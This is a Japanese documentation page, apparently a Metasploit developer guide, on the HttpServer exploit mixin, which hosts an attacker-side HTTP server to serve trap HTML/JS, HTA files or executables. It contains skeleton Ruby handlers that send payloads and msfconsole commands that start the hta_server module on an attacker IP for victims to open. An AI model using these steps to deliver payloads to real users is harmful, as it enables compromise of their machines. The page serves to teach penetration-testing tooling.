コンテンツにスキップ

HttpServer

Msf::Exploit::Remote::HttpServer は、攻撃側で HTTP サーバを立て、クライアント(ブラウザなど)にコンテンツやペイロードを配ります。実装は lib/msf/core/exploit/remote/http_server.rb です。

用途例
ブラウザ exploit罠 HTML / JS を返す
ファイル配信HTA、実行ファイル、スクリプトを download させる
混合HttpClient で管理画面を操作し、HttpServer でペイロードを配る
include Msf::Exploit::Remote::HttpServer
# HTML 特化
include Msf::Exploit::Remote::HttpServer::HTML

主なオプション: SRVHOST、SRVPORT、URIPATH、SSL など。

def exploit
# サービス開始は親が担うことが多い
super
end
def on_request_uri(cli, request)
print_status("Client #{cli.peerhost} requested #{request.uri}")
payload_data = regenerate_payload(cli).encoded
html = %|<html><body><script>/* deliver */</script></body></html>|
send_response(cli, html, 'Content-Type' => 'text/html')
end
API用途
on_request_uri(cli, request)リクエスト受信時の本体(override)
send_response(cli, body, headers)応答
send_redirect(cli, location)リダイレクト
send_not_found(cli)404
add_resource / hardcoded_uripath追加パス
regenerate_payload(cli)クライアント向けペイロード再生成
get_uri被害者に渡す URL
def on_request_uri(cli, _request)
data = File.binread(datastore['HTML::path']) rescue payload.encoded
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
end
use exploit/windows/misc/hta_server
set SRVHOST 10.10.16.10
set SRVPORT 8080
set URIPATH /x
run
# 表示された URL を対象側で開かせる

クライアントがこちらへ来る経路(DNS、リンク、XSS など)が別途必要です。